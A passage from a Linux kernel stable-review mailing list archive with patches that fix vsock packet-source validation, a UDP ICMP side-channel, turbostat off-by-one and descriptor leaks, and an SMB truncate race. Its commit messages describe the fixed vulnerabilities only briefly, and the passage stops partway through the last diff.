6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bobby Eshleman <bobbyeshleman@meta.com>
[ Upstream commit a6ae12a599e0f16bc01a38bcfe8d0278a26b5ee0 ]
Associate reply packets with the sending socket. When vsock must reply
with an RST packet and there exists a sending socket (e.g., for
loopback), setting the skb owner to the socket correctly handles
reference counting between the skb and sk (i.e., the sk stays alive
until the skb is freed).
This allows the net namespace to be used for socket lookups for the
duration of the reply skb's lifetime, preventing race conditions between
the namespace lifecycle and vsock socket search using the namespace
pointer.
Reviewed-by: Stefano Garzarella <sgarzare@redhat.com>
Signed-off-by: Bobby Eshleman <bobbyeshleman@meta.com>
Link: https://patch.msgid.link/20260121-vsock-vmtest-v16-2-2859a7512097@meta.com
Acked-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Stable-dep-of: dee44f41f206 ("vsock/virtio: validate packet source for connected sockets")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/vmw_vsock/virtio_transport_common.c | 6 ++++++
1 file changed, 6 insertions(+)
--- a/net/vmw_vsock/virtio_transport_common.c
+++ b/net/vmw_vsock/virtio_transport_common.c
@@ -1312,6 +1312,12 @@ static int virtio_transport_reset_no_soc
.op = VIRTIO_VSOCK_OP_RST,
.type = le16_to_cpu(hdr->type),
.reply = true,
+
+ /* Set sk owner to socket we are replying to (may be NULL for
+ * non-loopback). This keeps a reference to the sock and
+ * sock_net(sk) until the reply skb is freed.
+ */
+ .vsk = vsock_sk(skb->sk),
};
struct sk_buff *reply;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 018/242] tools/power turbostat: Fix fd_perf leak on reset
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (16 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 017/242] tools/power turbostat: Warn, but dont Err on out-dated perf systems Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 019/242] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
` (223 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 767c64414c4c5fffd6cbc3a1cf1fb8138b28645b ]
When turbostat notices a topology change,
it frees perf file descriptors for each CPU
to prepare to re-initialize.
Fix an off-by-one error in that per-cpu loop that
resulted in a file descriptor leak of the file for
the highest numbered CPU in the system.
Fixes: 67bab430f4e7 ("tools/power turbostat: Group SMI counter with APERF and MPERF")
Assisted-by: GitHub Copilot (claude-sonnet-4.6)
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 6d3a58df678dc..fc488157d3a37 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -5915,7 +5915,7 @@ void free_fd_msr(void)
if (!msr_counter_info)
return;
- for (int cpu = 0; cpu < topo.max_cpu_num; ++cpu) {
+ for (int cpu = 0; cpu <= topo.max_cpu_num; ++cpu) {
if (msr_counter_info[cpu].fd_perf != -1)
close(msr_counter_info[cpu].fd_perf);
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 184/193] vsock/virtio: validate packet source for connected sockets
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (182 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 183/193] virtio: set skb owner of virtio_transport_reset_no_sock() reply Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 185/193] ipv4: udp: Create exceptions before socket matching Greg Kroah-Hartman
` (19 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Stefano Garzarella, Bobby Eshleman,
Daehyeon Ko, Jakub Kicinski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
[ Upstream commit dee44f41f206becb41c492899c1996cfd7f82a1b ]
virtio_transport_recv_pkt() looks up sockets first by the full source and
destination tuple, then by destination only in the bound table. The
fallback is needed for listening and connecting sockets, but sockets remain
in the bound table after connect(), so it can also return a non-listening
socket.
The fallback does not validate the source address. In TCP_SYN_SENT, a
RESPONSE from an unrelated source can transition the victim socket to
TCP_ESTABLISHED while its stored remote address remains unchanged.
Subsequent RW packets from that source are delivered through the same
destination-only fallback.
This was reproduced with capability-empty processes under different UIDs.
The attacker discovered the target tuple through unprivileged AF_VSOCK
sock_diag and caused the victim socket to read 16 attacker-chosen bytes;
the intended peer-side socket read 0 of those 16 bytes.
Add vsock_check_source() to validate the transport, source port and source
CID against the peer stored in a non-listening socket. The local transport
is the CID exception because its packets are generated internally with
VMADDR_CID_LOCAL as their source, including connections using CID aliases.
Use the helper after lock_sock() in the virtio receive path.
Fixes: 06a8fc78367d ("VSOCK: Introduce virtio_vsock_common.ko")
Closes: https://lore.kernel.org/netdev/20260813121236.2328599-1-4ncienth@gmail.com/
Cc: stable@vger.kernel.org
Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
Reviewed-by: Bobby Eshleman <bobbyeshleman@meta.com>
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Link: https://patch.msgid.link/20260826003929.966160-2-4ncienth@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
[ sashal: Adjusted context for existing vsock APIs without network-namespace support. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/net/af_vsock.h | 3 +++
net/vmw_vsock/af_vsock.c | 32 ++++++++++++++++++++++++++++++++
net/vmw_vsock/virtio_transport_common.c | 3 ++-
3 files changed, 37 insertions(+), 1 deletion(-)
--- a/include/net/af_vsock.h
+++ b/include/net/af_vsock.h
@@ -216,6 +216,9 @@ void vsock_remove_connected(struct vsock
struct sock *vsock_find_bound_socket(struct sockaddr_vm *addr);
struct sock *vsock_find_connected_socket(struct sockaddr_vm *src,
struct sockaddr_vm *dst);
+bool vsock_check_source(const struct vsock_sock *vsk,
+ const struct vsock_transport *transport,
+ const struct sockaddr_vm *src);
void vsock_remove_sock(struct vsock_sock *vsk);
void vsock_for_each_connected_socket(struct vsock_transport *transport,
void (*fn)(struct sock *sk));
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -335,6 +335,38 @@ struct sock *vsock_find_connected_socket
}
EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
+/**
+ * vsock_check_source - validate a packet source against a socket peer
+ * @vsk: socket receiving the packet
+ * @transport: transport receiving the packet
+ * @src: source address from the packet
+ *
+ * Return: true if the packet arrived on the socket's assigned transport and
+ * its source matches the stored peer. Loopback packets are generated
+ * internally and always use the local CID as their source, including
+ * connections using a valid CID alias.
+ *
+ * The caller must hold the socket lock and must not call this for listening
+ * sockets, which accept packets from any source and have no assigned
+ * transport.
+ */
+bool vsock_check_source(const struct vsock_sock *vsk,
+ const struct vsock_transport *transport,
+ const struct sockaddr_vm *src)
+{
+ if (vsk->transport != transport)
+ return false;
+
+ if (src->svm_port != vsk->remote_addr.svm_port)
+ return false;
+
+ if (src->svm_cid == vsk->remote_addr.svm_cid)
+ return true;
+
+ return transport->get_local_cid() == VMADDR_CID_LOCAL;
+}
+EXPORT_SYMBOL_GPL(vsock_check_source);
+
void vsock_remove_sock(struct vsock_sock *vsk)
{
/* Transport reassignment must not remove the binding. */
--- a/net/vmw_vsock/virtio_transport_common.c
+++ b/net/vmw_vsock/virtio_transport_common.c
@@ -1819,7 +1819,8 @@ void virtio_transport_recv_pkt(struct vi
* lock_sock (note: listener sockets are not assigned to any transport)
*/
if (sock_flag(sk, SOCK_DONE) ||
- (sk->sk_state != TCP_LISTEN && vsk->transport != &t->transport)) {
+ (sk->sk_state != TCP_LISTEN &&
+ !vsock_check_source(vsk, &t->transport, &src))) {
(void)virtio_transport_reset_no_sock(t, skb);
release_sock(sk);
sock_put(sk);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 019/242] tools/power turbostat: Fix CWF PMT off-by-one
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (17 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 018/242] tools/power turbostat: Fix fd_perf leak on reset Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 020/242] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
` (222 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 5e940dd96bef6ca03b3b1b4740351237e5ec17e3 ]
Fix off-by-one error causing last CPU on CWF
to never get a pmt counter allocated.
Fixes: 5ce1e9bbb2a1 ("tools/power turbostat: Add CPU%c1e BIC for CWF")
Assisted-by: GitHub Copilot (claude-sonnet-4.6)
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index fc488157d3a37..01644d858a98f 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -10441,7 +10441,7 @@ void pmt_init(void)
mod_num = 0; /* Relative module number for current PMT file. */
/* Open the counter for each CPU. */
- for (cpu_num = 0; cpu_num < topo.max_cpu_num;) {
+ for (cpu_num = 0; cpu_num <= topo.max_cpu_num;) {
if (cpu_is_not_allowed(cpu_num))
goto next_loop_iter;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 185/193] ipv4: udp: Create exceptions before socket matching
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (183 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 184/193] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 186/193] vsock/vmci: validate packet source for connected sockets Greg Kroah-Hartman
` (18 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Amit Klein, Noam Caspi, Ido Schimmel,
David Ahern, Jakub Kicinski, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ido Schimmel <idosch@nvidia.com>
[ Upstream commit 4c3499f79f8c7e8561266bcc220a18538cec0458 ]
Currently, when ICMP Fragmentation Needed and Redirect Message packets
are locally delivered and quote a UDP packet, a FIB nexthop exception
(FNHE) is only created if the kernel can match the UDP packet to an
existing socket.
This behavior allows off-path attackers to conduct a side-channel attack
on the FNHE cache in order to discover the ephemeral port used by a
connected UDP socket.
Commit 6457378fe796 ("ipv4: use siphash instead of Jenkins in
fnhe_hashfun()") and commit 67d6d681e15b ("ipv4: make exception cache
less predictible") tried to mitigate such attacks by making it harder
for attackers to discover hash collisions in the FNHE cache and by
randomizing the number of exceptions a hash bucket can hold,
respectively. Unfortunately, both of the mitigations can be bypassed.
Instead, mitigate such attacks by always creating a FNHE, even before
trying to find a matching socket. Do that by calling ipv4_update_pmtu()
and ipv4_redirect(), the helpers used when the quoted packet did not
originate from a socket.
This means that guesses (right or wrong) from an off-path attacker will
always result in a FNHE being created or updated in the cache that the
attacker can observe.
Pass an oif of 0, in a similar fashion to icmp_err(). This is also the
oif used by the socket path for sockets that are not bound to a device.
Note that this does not allow attackers to create FNHEs that they could
not create before, as both helpers can already be reached with little to
no validation. For example, by sending an ICMP error that quotes an ICMP
Echo Reply or one that quotes a UDP source port that matches a wildcard
socket.
Also note that in the good case (matched socket) the above scheme comes
at the cost of an extra route lookup, as the no socket helpers perform
their own lookup before the one performed by ipv4_sk_update_pmtu() /
ipv4_sk_redirect(). When the two resolve to different nexthops, it also
results in two exceptions being created for the same destination IP. One
in the FNHE cache of the nexthop resolved by the no socket helpers and
another in the FNHE cache of the nexthop used by the socket.
Fixes: 4895c771c7f0 ("ipv4: Add FIB nexthop exceptions.")
Cc: stable@vger.kernel.org
Reported-by: Amit Klein <aksecurity@gmail.com>
Reported-by: Noam Caspi <noam.caspi@mail.huji.ac.il>
Signed-off-by: Ido Schimmel <idosch@nvidia.com>
Reviewed-by: David Ahern <dsahern@kernel.org>
Link: https://patch.msgid.link/20260828192344.2596928-3-idosch@nvidia.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
[ sashal: inlined udp_err_update_exception() logic into the existing udp_err() wrapper to accommodate the separate __udp4_lib_err() handler. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/udp.c | 11 ++++++++++-
1 file changed, 10 insertions(+), 1 deletion(-)
--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -1033,7 +1033,16 @@ out:
int udp_err(struct sk_buff *skb, u32 info)
{
- return __udp4_lib_err(skb, info, dev_net(skb->dev)->ipv4.udp_table);
+ const int type = icmp_hdr(skb)->type;
+ const int code = icmp_hdr(skb)->code;
+ struct net *net = dev_net(skb->dev);
+
+ if (type == ICMP_DEST_UNREACH && code == ICMP_FRAG_NEEDED)
+ ipv4_update_pmtu(skb, net, info, 0, IPPROTO_UDP);
+ else if (type == ICMP_REDIRECT)
+ ipv4_redirect(skb, net, 0, IPPROTO_UDP);
+
+ return __udp4_lib_err(skb, info, net->ipv4.udp_table);
}
/*
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 020/242] tools/power turbostat: Fix PMT error path fd handling
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (18 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 019/242] tools/power turbostat: Fix CWF PMT off-by-one Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 021/242] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
` (221 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 11741cc90f9176746b8595beab4fec8d736ebd18 ]
It is possible to leak a file descriptor if a diretory
open succeeds, but the scan fails. Close the fd on error.
Also, on cleanup, check for NULL fd.
Assisted-by: Claude: Claude Sonnet 4.6
Fixes: 4265a86582ea ("tools/power turbostat: Add PMT directory iterator helper")
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 01644d858a98f..40f5f9a9e950d 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -2034,8 +2034,11 @@ const struct dirent *pmt_diriter_begin(struct pmt_diriter_t *iter, const char *p
return NULL;
num_names = scandir(pmt_root_path, &iter->namelist, pmt_telemdir_filter, pmt_telemdir_sort);
- if (num_names == -1)
+ if (num_names == -1) {
+ closedir(iter->dir);
+ iter->dir = NULL;
return NULL;
+ }
}
iter->current_name_idx = 0;
@@ -2063,8 +2066,10 @@ void pmt_diriter_remove(struct pmt_diriter_t *iter)
iter->num_names = 0;
iter->current_name_idx = 0;
- closedir(iter->dir);
- iter->dir = NULL;
+ if (iter->dir) {
+ closedir(iter->dir);
+ iter->dir = NULL;
+ }
}
unsigned int pmt_counter_get_width(const struct pmt_counter *p)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 186/193] vsock/vmci: validate packet source for connected sockets
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (184 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 185/193] ipv4: udp: Create exceptions before socket matching Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 187/193] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
` (17 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Stefano Garzarella,
Paolo Abeni, Daehyeon Ko, Vishnu Dasa, Jakub Kicinski,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
[ Upstream commit ad9a7da3fa39c2d616ec0dd3cf6e30531d032fe7 ]
vmci_transport_recv_stream_cb() looks up sockets first by the full source
and destination tuple, then by destination only in the bound table. The
fallback can select a non-listening socket without checking whether the
packet came from its stored peer.
This was reproduced with two VMCI contexts. A RST from the context not
stored in a TCP_SYN_SENT socket reset that socket after it was selected by
the destination-only lookup.
VMCI can process notification packets in bottom-half context when the
socket is not owned by user context, or defer packets to a workqueue. Use
vsock_check_source() after taking the socket lock in the bottom-half path,
and recheck after lock_sock() in the workqueue path. Listening sockets
continue to accept packets from any source.
Reply with a RST addressed from the received packet before dropping a
source that fails validation. This preserves the existing reset behavior
for bound non-listening and concurrently closed sockets without directing
the reset to a connected socket's stored peer.
Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/netdev/20260814121255.6B5001F000E9@smtp.kernel.org/
Cc: stable@vger.kernel.org
Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
Suggested-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Reviewed-by: Vishnu Dasa <vishnu.dasa@broadcom.com>
Link: https://patch.msgid.link/20260826003929.966160-3-4ncienth@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
[ sashal: Replaced two calls to the unavailable vsock_check_source() helper with equivalent inline conditions. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Depends on <20261022162527.1685626-1-sashal@kernel.org>
net/vmw_vsock/vmci_transport.c | 42 ++++++++++++++++++++++++++++++++++-------
1 file changed, 35 insertions(+), 7 deletions(-)
--- a/net/vmw_vsock/vmci_transport.c
+++ b/net/vmw_vsock/vmci_transport.c
@@ -676,11 +676,13 @@ static int vmci_transport_recv_stream_cb
struct vmci_transport_packet *pkt;
struct vsock_sock *vsk;
bool bh_process_pkt;
+ bool drop_pkt;
int err;
sk = NULL;
err = VMCI_SUCCESS;
bh_process_pkt = false;
+ drop_pkt = false;
/* Ignore incoming packets from contexts without sockets, or resources
* that aren't vsock implementations.
@@ -757,17 +759,32 @@ static int vmci_transport_recv_stream_cb
bh_lock_sock(sk);
if (!sock_owned_by_user(sk)) {
- /* The local context ID may be out of date, update it. */
- vsk->local_addr.svm_cid = dst.svm_cid;
-
- if (sk->sk_state == TCP_ESTABLISHED)
- vmci_trans(vsk)->notify_ops->handle_notify_pkt(
- sk, pkt, true, &dst, &src,
- &bh_process_pkt);
+ if (sk->sk_state != TCP_LISTEN &&
+ (vsk->transport != &vmci_transport ||
+ src.svm_port != vsk->remote_addr.svm_port ||
+ (src.svm_cid != vsk->remote_addr.svm_cid &&
+ vmci_transport.get_local_cid() != VMADDR_CID_LOCAL))) {
+ drop_pkt = true;
+ err = VMCI_ERROR_NO_ACCESS;
+ } else {
+ /* The local context ID may be out of date, update it. */
+ vsk->local_addr.svm_cid = dst.svm_cid;
+
+ if (sk->sk_state == TCP_ESTABLISHED)
+ vmci_trans(vsk)->notify_ops->handle_notify_pkt(sk, pkt, true,
+ &dst, &src,
+ &bh_process_pkt);
+ }
}
bh_unlock_sock(sk);
+ if (drop_pkt) {
+ if (vmci_transport_send_reset_bh(&dst, &src, pkt) < 0)
+ pr_err("unable to send reset\n");
+ goto out;
+ }
+
if (!bh_process_pkt) {
struct vmci_transport_recv_pkt_info *recv_pkt_info;
@@ -892,6 +909,7 @@ static void vmci_transport_recv_pkt_work
{
struct vmci_transport_recv_pkt_info *recv_pkt_info;
struct vmci_transport_packet *pkt;
+ struct sockaddr_vm src;
struct sock *sk;
recv_pkt_info =
@@ -900,6 +918,15 @@ static void vmci_transport_recv_pkt_work
pkt = &recv_pkt_info->pkt;
lock_sock(sk);
+ vsock_addr_init(&src, pkt->dg.src.context, pkt->src_port);
+ if (sk->sk_state != TCP_LISTEN &&
+ (vsock_sk(sk)->transport != &vmci_transport ||
+ src.svm_port != vsock_sk(sk)->remote_addr.svm_port ||
+ (src.svm_cid != vsock_sk(sk)->remote_addr.svm_cid &&
+ vmci_transport.get_local_cid() != VMADDR_CID_LOCAL))) {
+ vmci_transport_reply_reset(pkt);
+ goto out;
+ }
/* The local context ID may be out of date. */
vsock_sk(sk)->local_addr.svm_cid = pkt->dg.dst.context;
@@ -929,6 +956,7 @@ static void vmci_transport_recv_pkt_work
break;
}
+out:
release_sock(sk);
kfree(recv_pkt_info);
/* Release reference obtained in the stream callback when we fetched
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 021/242] tools/power turbostat: Fix add_counter issue if > 24 counters.
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (19 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 020/242] tools/power turbostat: Fix PMT error path fd handling Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 022/242] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
` (220 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Len Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <len.brown@intel.com>
[ Upstream commit 154b96dab83fd953b9b82c8bcfa041cd6a9d74d3 ]
We allocate space for added counters ahead of time,
and we arbitrarily chose 24 added counters of each type.
If a future code flow hits this limit and continues,
and then removes counters, we do a phantom increment
and lose track of the number of added counters.
Increment the count only if there is no error.
Fixes: 388e9c8134be ("tools/power turbostat: Make extensible via the --add parameter")
Assisted-by: Claude: Claude Sonnet 4.6
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
tools/power/x86/turbostat/turbostat.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
diff --git a/tools/power/x86/turbostat/turbostat.c b/tools/power/x86/turbostat/turbostat.c
index 40f5f9a9e950d..543482d1e93cb 100644
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -10675,10 +10675,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_thread_counters++ >= MAX_ADDED_THREAD_COUNTERS) {
+ if (sys.added_thread_counters >= MAX_ADDED_THREAD_COUNTERS) {
warnx("ignoring thread counter %s", name);
return -1;
}
+ sys.added_thread_counters++;
break;
case SCOPE_CORE:
msrp = find_msrp_by_name(sys.cp, name);
@@ -10687,10 +10688,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_core_counters++ >= MAX_ADDED_CORE_COUNTERS) {
+ if (sys.added_core_counters >= MAX_ADDED_CORE_COUNTERS) {
warnx("ignoring core counter %s", name);
return -1;
}
+ sys.added_core_counters++;
break;
case SCOPE_PACKAGE:
msrp = find_msrp_by_name(sys.pp, name);
@@ -10699,10 +10701,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,
fprintf(stderr, "%s: %s FOUND\n", __func__, name);
break;
}
- if (sys.added_package_counters++ >= MAX_ADDED_PACKAGE_COUNTERS) {
+ if (sys.added_package_counters >= MAX_ADDED_PACKAGE_COUNTERS) {
warnx("ignoring package counter %s", name);
return -1;
}
+ sys.added_package_counters++;
break;
default:
warnx("ignoring counter %s with unknown scope", name);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 187/193] smb: client: fix data corruption with concurrent writes and O_TRUNC
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (185 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 186/193] vsock/vmci: validate packet source for connected sockets Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 188/193] ice: remove legacy Rx and construct SKB Greg Kroah-Hartman
` (16 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Paulo Alcantara, Namjae Jeon,
Ronnie Sahlberg, Shyam Prasad N, Tom Talpey, Bharath SM,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
[ Upstream commit a8603b52b39f520ea8a34def74c23fba87396d3e ]
cifs_do_truncate() flushes dirty pages with filemap_write_and_wait()
and truncates the file on the server, but in the old code both
operations ran without holding i_rwsem or invalidate_lock. A
concurrent buffered write via netfs_perform_write() -- which only
needs i_rwsem shared -- could dirty new pages after the flush but
before the local truncation, and those pages would be silently
discarded by cifs_setsize() -> truncate_pagecache().
Fix by acquiring inode_lock (exclusive i_rwsem) and
filemap_invalidate_lock at the top of cifs_do_truncate(), so the
entire flush-truncate-resize sequence is atomic with respect to:
- buffered writes (blocked by exclusive i_rwsem, since
netfs_start_io_write takes i_rwsem shared),
- read page faults (blocked by exclusive invalidate_lock, since
filemap_fault takes it shared),
- writeback collection (blocked by netfs_wb_begin/netfs_wb_end
around the server truncate and local resize, since
netfs_writepages also acquires the wb lock).
Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: stable@vger.kernel.org
[ sashal: Replaced netfs_wb_begin()/netfs_wb_end() with direct wb_lock mutex operations. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 28 ++++++++++++++++++----------
1 file changed, 18 insertions(+), 10 deletions(-)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -990,42 +990,50 @@ static int cifs_do_truncate(const unsign
struct cifs_tcon *tcon;
int rc;
- rc = filemap_write_and_wait(inode->i_mapping);
- if (is_interrupt_error(rc))
+ rc = inode_lock_killable(inode);
+ if (rc)
return -ERESTARTSYS;
+
+ filemap_invalidate_lock(inode->i_mapping);
+
+ rc = filemap_write_and_wait(inode->i_mapping);
+ if (is_interrupt_error(rc)) {
+ rc = -ERESTARTSYS;
+ goto out;
+ }
mapping_set_error(inode->i_mapping, rc);
cfile = find_writable_file(cinode, FIND_WR_FSUID_ONLY);
rc = cifs_file_flush(xid, inode, cfile);
if (!rc) {
if (cfile) {
+ struct netfs_inode *ictx = netfs_inode(inode);
+
tcon = tlink_tcon(cfile->tlink);
server = tcon->ses->server;
+ mutex_lock(&ictx->wb_lock);
rc = server->ops->set_file_size(xid, tcon,
cfile, 0, false);
if (!rc) {
- inode_lock(inode);
- filemap_invalidate_lock(inode->i_mapping);
netfs_resize_file(&cinode->netfs, 0, true);
cifs_setsize(inode, 0);
- filemap_invalidate_unlock(inode->i_mapping);
- inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
+ mutex_unlock(&ictx->wb_lock);
} else {
/*
* No cached handle; evict stale pages so they can't
* be served after the file is later extended; let
